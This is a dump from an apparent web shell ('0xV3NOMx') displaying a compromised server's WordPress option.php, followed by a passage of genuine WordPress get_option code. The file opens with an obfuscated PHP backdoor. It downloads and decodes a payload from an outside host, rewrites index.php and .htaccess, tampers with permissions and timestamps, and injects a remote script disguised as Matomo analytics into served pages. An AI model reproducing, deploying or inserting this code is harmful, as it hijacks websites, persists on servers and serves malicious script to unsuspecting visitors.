0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 13.58.221.124


Current Path : /var/www/website/nublr/assets/css/images/wp-includes/
Upload File :
Current File : /var/www/website/nublr/assets/css/images/wp-includes/option.php

<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?>
<?php
/**
 * Option API
 *
 * @package WordPress
 * @subpackage Option
 */

/**
 * Retrieves an option value based on an option name.
 *
 * If the option does not exist, and a default value is not provided,
 * boolean false is returned. This could be used to check whether you need
 * to initialize an option during installation of a plugin, however that
 * can be done better by using add_option() which will not overwrite
 * existing options.
 *
 * Not initializing an option and using boolean `false` as a return value
 * is a bad practice as it triggers an additional database query.
 *
 * The type of the returned value can be different from the type that was passed
 * when saving or updating the option. If the option value was serialized,
 * then it will be unserialized when it is returned. In this case the type will
 * be the same. For example, storing a non-scalar value like an array will
 * return the same array.
 *
 * In most cases non-string scalar and null values will be converted and returned
 * as string equivalents.
 *
 * Exceptions:
 *
 * 1. When the option has not been saved in the database, the `$default_value` value
 *    is returned if provided. If not, boolean `false` is returned.
 * 2. When one of the Options API filters is used: {@see 'pre_option_$option'},
 *    {@see 'default_option_$option'}, or {@see 'option_$option'}, the returned
 *    value may not match the expected type.
 * 3. When the option has just been saved in the database, and get_option()
 *    is used right after, non-string scalar and null values are not converted to
 *    string equivalents and the original type is returned.
 *
 * Examples:
 *
 * When adding options like this: `add_option( 'my_option_name', 'value' )`
 * and then retrieving them with `get_option( 'my_option_name' )`, the returned
 * values will be:
 *
 *   - `false` returns `string(0) ""`
 *   - `true`  returns `string(1) "1"`
 *   - `0`     returns `string(1) "0"`
 *   - `1`     returns `string(1) "1"`
 *   - `'0'`   returns `string(1) "0"`
 *   - `'1'`   returns `string(1) "1"`
 *   - `null`  returns `string(0) ""`
 *
 * When adding options with non-scalar values like
 * `add_option( 'my_array', array( false, 'str', null ) )`, the returned value
 * will be identical to the original as it is serialized before saving
 * it in the database:
 *
 *     array(3) {
 *         [0] => bool(false)
 *         [1] => string(3) "str"
 *         [2] => NULL
 *     }
 *
 * @since 1.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $option        Name of the option to retrieve. Expected to not be SQL-escaped.
 * @param mixed  $default_value Optional. Default value to return if the option does not exist.
 * @return mixed Value of the option. A value of any type may be returned, including
 *               scalar (string, boolean, float, integer), null, array, object.
 *               Scalar and null values will be returned as strings as long as they originate
 *               from a database stored option value. If there is no option in the database,
 *               boolean `false` is returned.
 */
function get_option( $option, $default_value = false ) {
	global $wpdb;

	if ( is_scalar( $option ) ) {
		$option = trim( $option );
	}

	if ( empty( $option ) ) {
		return false;
	}

	/*
	 * Until a proper _deprecated_option() function can be introduced,
	 * redirect requests to deprecated keys to the new, correct ones.
	 */
	$deprecated_keys = array(
		'blacklist_keys'    => 'disallowed_keys',
		'comment_whitelist' => 'comment_previously_approved',
	);

	if ( isset( $deprecated_keys[ $option ] ) && ! wp_installing() ) {
		_deprecated_argument(
			__FUNCTION__,
			'5.5.0',
			sprintf(
				/* translators: 1: Deprecated option key, 2: New option key. */
				__( 'The "%1$s" option key has been renamed to "%2$s".' ),
				$option,
				$deprecated_keys[ $option ]
			)
		);
		return get_option( $deprecated_keys[ $option ], $default_value );
	}

	/**
	 * Filters the value of an existing option before it is retrieved.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * Returning a value other than false from the filter will short-circuit retrieval
	 * and return that value instead.
	 *
	 * @since 1.5.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.9.0 The `$default_value` parameter was added.
	 *
	 * @param mixed  $pre_option    The value to return instead of the option value. This differs from
	 *                              `$default_value`, which is used as the fallback value in the event
	 *                              the option doesn't exist elsewhere in get_option().
	 *                              Default false (to skip past the short-circuit).
	 * @param string $option        Option name.
	 * @param mixed  $default_value The fallback value to return if the option does not exist.
	 *                              Default false.
	 */
	$pre = apply_filters( "pre_option_{$option}", false, $option, $default_value );

	/**
	 * Filters the value of all existing options before it is retrieved.
	 *
	 * Returning a truthy value from the filter will effectively short-circuit retrieval
	 * and return the passed value instead.
	 *
	 * @since 6.1.0
	 *
	 * @param mixed  $pre_option    The value to return instead of the option value. This differs from
	 *                              `$default_value`, which is used as the fallback value in the event
	 *                              the option doesn't exist elsewhere in get_option().
	 *                              Default false (to skip past the short-circuit).
	 * @param string $option        Name of the option.
	 * @param mixed  $default_value The fallback value to return if the option does not exist.
	 *                              Default false.
	 */
	$pre = apply_filters( 'pre_option', $pre, $option, $default_value );

	if ( false !== $pre ) {
		return $pre;
	}

	if ( defined( 'WP_SETUP_CONFIG' ) ) {
		return false;
	}

	// Distinguish between `false` as a default, and not passing one.
	$passed_default = func_num_args() > 1;

	if ( ! wp_installing() ) {
		// Prevent non-existent options from triggering multiple queries.
		$notoptions = wp_cache_get( 'notoptions', 'options' );

		// Prevent non-existent `notoptions` key from triggering multiple key lookups.
		if ( ! is_array( $notoptions ) ) {
			$notoptions = array();
			wp_cache_set( 'notoptions', $notoptions, 'options' );
		}

		if ( isset( $notoptions[ $option ] ) ) {
			/**
			 * Filters the default value for an option.
			 *
			 * The dynamic portion of the hook name, `$option`, refers to the option name.
			 *
			 * @since 3.4.0
			 * @since 4.4.0 The `$option` parameter was added.
			 * @since 4.7.0 The `$passed_default` parameter was added to distinguish between a `false` value and the default parameter value.
			 *
			 * @param mixed  $default_value  The default value to return if the option does not exist
			 *                               in the database.
			 * @param string $option         Option name.
			 * @param bool   $passed_default Was `get_option()` passed a default value?
			 */
			return apply_filters( "default_option_{$option}", $default_value, $option, $passed_default );
		}

		$alloptions = wp_load_alloptions();

		if ( isset( $alloptions[ $option ] ) ) {
			$value = $alloptions[ $option ];
		} else {
			$value = wp_cache_get( $option, 'options' );

			if ( false === $value ) {
				$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) );

				// Has to be get_row() instead of get_var() because of funkiness with 0, false, null values.
				if ( is_object( $row ) ) {
					$value = $row->option_value;
					wp_cache_add( $option, $value, 'options' );
				} else { // Option does not exist, so we must cache its non-existence.
					if ( ! is_array( $notoptions ) ) {
						$notoptions = array();
					}

					$notoptions[ $option ] = true;
